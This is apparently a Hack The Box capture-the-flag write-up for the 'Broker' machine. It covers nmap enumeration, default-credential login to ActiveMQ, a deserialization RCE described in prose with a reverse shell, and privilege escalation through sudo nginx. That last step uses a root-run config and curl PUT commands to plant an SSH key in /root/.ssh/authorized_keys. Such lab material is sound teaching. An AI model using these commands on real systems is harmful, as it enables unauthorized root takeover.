HTB / Linux

Hack The Box Broker Writeup

May 16, 20248 min read
Broker machine

As usual we kick off with an enumeration.

mrinspector@kali:~/HTB/Broker$ sudo nmap -sCV -p- --min-rate 10000 10.10.11.243 -oN Broker
Starting Nmap 7.93 ( https://nmap.org ) at 2024-05-17 12:17 CEST
Warning: 10.10.11.243 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.243
Host is up (0.058s latency).
Not shown: 63829 closed tcp ports (reset), 1693 filtered tcp ports (no-response)
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp    open  http       nginx 1.18.0 (Ubuntu)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
1234/tcp  open  http       nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: 403 Forbidden
1235/tcp  open  http       nginx 1.18.0 (Ubuntu)
| http-ls: Volume /
|   maxfiles limit reached (10)
| SIZE    TIME               FILENAME
| -       06-Nov-2023 01:10  bin/
| -       06-Nov-2023 01:10  bin/X11/
| 963     17-Feb-2020 14:11  bin/NF
| 129576  27-Oct-2023 11:38  bin/VGAuthService
| 51632   07-Feb-2022 16:03  bin/%5B
| 35344   19-Oct-2022 14:52  bin/aa-enabled
| 35344   19-Oct-2022 14:52  bin/aa-exec
| 31248   19-Oct-2022 14:52  bin/aa-features-abi
| 14478   04-May-2023 11:14  bin/add-apt-repository
| 14712   21-Feb-2022 01:49  bin/addpart
|_
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Index of /
1883/tcp  open  mqtt
| mqtt-subscribe: 
|   Topics and their most recent payloads: 
|     ActiveMQ/Advisory/Consumer/Topic/#: 
|_    ActiveMQ/Advisory/MasterBroker: 
5672/tcp  open  amqp?
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     AMQP
|     AMQP
|     amqp:decode-error
|_    7Connection from client using unsupported AMQP attempted
8161/tcp  open  http       Jetty 9.4.39.v20210325
|_http-title: Error 401 Unauthorized
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-server-header: Jetty(9.4.39.v20210325)
8888/tcp  open  http       nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-ls: Volume /
|   maxfiles limit reached (10)
| SIZE  TIME               FILENAME
| -     06-Nov-2023 01:10  bin/
| -     06-Nov-2023 01:10  bin/X11/
| 963   17-Feb-2020 14:11  bin/NF
| 127K  27-Oct-2023 11:38  bin/VGAuthService
| 50K   07-Feb-2022 16:03  bin/%5B
| 35K   19-Oct-2022 14:52  bin/aa-enabled
| 35K   19-Oct-2022 14:52  bin/aa-exec
| 31K   19-Oct-2022 14:52  bin/aa-features-abi
| 14K   04-May-2023 11:14  bin/add-apt-repository
| 14K   21-Feb-2022 01:49  bin/addpart
|_
|_http-title: Index of /
12345/tcp open  http       nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-ls: Volume /
|   maxfiles limit reached (10)
| SIZE    TIME               FILENAME
| -       06-Nov-2023 01:10  bin/
| -       06-Nov-2023 01:10  bin/X11/
| 963     17-Feb-2020 14:11  bin/NF
| 129576  27-Oct-2023 11:38  bin/VGAuthService
| 51632   07-Feb-2022 16:03  bin/%5B
| 35344   19-Oct-2022 14:52  bin/aa-enabled
| 35344   19-Oct-2022 14:52  bin/aa-exec
| 31248   19-Oct-2022 14:52  bin/aa-features-abi
| 14478   04-May-2023 11:14  bin/add-apt-repository
| 14712   21-Feb-2022 01:49  bin/addpart
|_
|_http-title: Index of /
37983/tcp open  tcpwrapped
61613/tcp open  stomp      Apache ActiveMQ
| fingerprint-strings: 
|   HELP4STOMP: 
|     ERROR
|     content-type:text/plain
|     message:Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
|     org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
|     org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
|     org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
|     org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_    java.lang.Thread.run(Thread.java:750)
61614/tcp open  http       Jetty 9.4.39.v20210325
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Site doesn't have a title.
61616/tcp open  apachemq   ActiveMQ OpenWire transport
| fingerprint-strings: 
|   NULL: 
|     ActiveMQ
|     TcpNoDelayEnabled
|     SizePrefixDisabled
|     CacheSize
|     ProviderName 
|     ActiveMQ
|     StackTraceEnabled
|     PlatformDetails 
|     Java
|     CacheEnabled
|     TightEncodingEnabled
|     MaxFrameSize
|     MaxInactivityDuration
|     MaxInactivityDurationInitalDelay
|     ProviderVersion 
|_    5.15.15

My initial assessment of the ports is:

SSH on 22 will be useful if I find creds.
There’s a website hosted with nginx on 80, but it’s returning a 401 unauthorized.
61613 and 61616 both reference ActiveMQ. The page talks about how it is a Java application uses AMQP and MQTT. These other ports likely supporting it:
    Two ports are message queue related, mqtt on 1883 and amqp on 5672.
    8161 and 61614 show the Java webserver Jetty.
39751 is unknown

I went to enumerate Port 80 first. ActiveMQ Login Page We get prompted with a login and had to try default credentials admin:admin that to my surprise immediately worked!

ActiveMQ Dashboard

After going through some links on the webpage I noticed the version of this ActiveMQ and decided to do a quick research on the version and ActiveMQ in general. ActiveMQ is a very popular open-source message broker. Message brokers are designed to manage communications between different systems (often written in different languages). For example, if a transaction is requested through a bank’s webserver, it may need to contact a different backend server to process that transaction. If the webserver does that on its own, there's a lot of risk for things like outages and missed communications. Instead it might use a message broker that will handle taking the request and making sure it reaches the other server.

Initial Foothold

This version has so many RCE exploits out there and finding one that would fit our needs was crucial or one that would work. I played around with one written in Golang that for some reason did not work for me. And upon further looking I found a Python version that gave us the initial access we needed here. The Python code takes a target IP, port (default 61616), and “Spring XML Url”. It builds a payload which looks like a serialized object, as it starts with a header, then a series of objects that start with their length and then their value. It converts to hex, and send this as a message to ActiveMQ port.

The payload is exploiting a deserialization vulnerability in ActiveMQ, and using a gadget from the Spring to load a remote XML file, which has the ability to run programs. I went ahead and modified the reverse shell line with our own IP address so that we could catch it on netcat.

Modified Exploit Payload

On our Kali box, I created a Python server to host this payload and at the same time started a netcat listener. Python HTTP Server

Netcat Listener And like that we got our reverse shell as activemq. It was time to stabilize our shell with Python and grab the user flag.

activemq@broker:~$ cat user.txt 
cd4ffc*************************
activemq@broker:~$ 

Privilege Escalation

I had to first check for any binaries that we can run as sudo. And turns out we could run nginx with sudo permissions.

activemq@broker:~$ sudo -l
Matching Defaults entries for activemq on broker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

After doing some research I found multiple vulnerabilities and how we could escalate our privileges. The concept in this article was to create our own config file that we can feed the binary and thus spin up our own server that can help read certain files and help us PUT or write to files as well. I went ahead and created a config file that would help us read files and test out the waters.

activemq@broker:~$ cat /tmp/nginx.conf                                                                                                                     
user root;                                                                                                                                                 
worker_processes 4;                                                                                                                                                                                                                                                                   
events {                                                                                                                                                   
        worker_connections 768;                                                                                                                            
}                                                                                                                                                         
http {                                                                                                                                     
server {                                                                                        
        listen 1337;                                                             
        root /;                                                                  
        autoindex on;                                                            
}                                                                                                                                                          
}     

This is how our config file looked. We can then run the nginx server and use curl to read files. In this case we can try to read the root flag or find a way to escalate our privileges instead. Running Nginx with Custom Config

We can see that our server is up and running now we can try to read files. We can read the root flag, but the mission is to become root.

activemq@broker:~$ curl localhost:1337/root/root.txt
6493f8************************

To allow data to be injected into a file using curl with the HTTP PUT method, we need to configure an Nginx server block to handle PUT requests. This involves setting up an endpoint that can accept PUT requests and write the data to a specified file.

However, Nginx alone cannot handle the writing of files for PUT requests directly; we typically need a module or a script (e.g., using PHP, Python, or another backend) to handle the file writing. Using Nginx with a backend handler (like a CGI script) is one way to achieve this.

For the purpose of simplicity, I'll show you how to set up a basic solution using Nginx with the ngx_http_dav_module module, which supports WebDAV methods, including PUT. So we shall go ahead and modify our config file to include the dav_methods for it to handle our PUT requests.

Modified Nginx Config with DAV Methods This is what it looked like after. The idea here is we want to see if we can add our SSH key to the authorized_keys and that way we can login over SSH as root. I first tested to see if we can read the file location. I had to modify the port to 1338 for the key to get uploaded.

activemq@broker:~$ curl localhost:1337/root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMi/V7QDKf9m715LnqvkkxWLCAkq712vJtUO1rL0wsaq humb3rt0@humb3rt0activemq@broker:~$ curl localhost:1337/root/.ssh/authorized_keys  

And yes it worked! Now we upload the ssh key.

activemq@broker:~$ curl -X PUT localhost:1338/root/.ssh/authorized_keys -d "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZVVVrfeJ4cN1X2F9upjOPngplgTMRAtSx4zC5YVw99DN4T/oDlHTUM3GRAAmVFUNClYu7P0L95XQkMGV/tiapSwbiqAxhHxASLo8XmhEM6LDBAJvi4qu9PduJAxZI/v5b6pbWr1Hr6zaEyk2YA7hkyIiR5wbdYPw+bpS+BS3hW3JSqVWcNGPGL5MXzgPT5cQ7TI/gt/QAm20/RBVL+JLQlLHJRyWyAjQUMbTpao6FNpEp0nGL+ElUOB6CjzjV1pmB9JBt6YhfhGm3CwVdJdWyn2a1qKT/e4vlWunGqWMMYBYTwYDDyn1f/HSKk/lI1e8AmHVFU9ZbE8ZEP0/GOC3n6/wsv8mVw1fABRj9COLJqKVlY1y0/T07YO74n/WUs3acojJGN9Bbu7wBpwBiMgj95O7CTfRNCDgrYZlUbP99HLPyxqOMc1djxMrQdxgjX4tp2u+Ji6/xw4u6kzcSSJ+30zw8GevHkkg+8wzh3aLyIb5lIEhWCiaiHB84Apr+b4s= mrinspector@kali"

activemq@broker:~$ curl localhost:1337/root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZVVVrfeJ4cN1X2F9upjOPngplgTMRAtSx4zC5YVw99DN4T/oDlHTUM3GRAAmVFUNClYu7P0L95XQkMGV/tiapSwbiqAxhHxASLo8XmhEM6LDBAJvi4qu9PduJAxZI/v5b6pbWr1Hr6zaEyk2YA7hkyIiR5wbdYPw+bpS+BS3hW3JSqVWcNGPGL5MXzgPT5cQ7TI/gt/QAm20/RBVL+JLQlLHJRyWyAjQUMbTpao6FNpEp0nGL+ElUOB6CjzjV1pmB9JBt6YhfhGm3CwVdJdWyn2a1qKT/e4vlWunGqWMMYBYTwYDDyn1f/HSKk/lI1e8AmHVFU9ZbE8ZEP0/GOC3n6/wsv8mVw1fABRj9COLJqKVlY1y0/T07YO74n/WUs3acojJGN9Bbu7wBpwBiMgj95O7CTfRNCDgrYZlUbP99HLPyxqOMc1djxMrQdxgjX4tp2u+Ji6/xw4u6kzcSSJ+30zw8GevHkkg+8wzh3aLyIb5lIEhWCiaiHB84Apr+b4s= mrinspector@kali

activemq@broker:~$ 

And on listing the key it was there and we were ready to login.

SSH Access as Root

And that marks the box. Happy hacking!

BrokerHack the boxWriteupBlog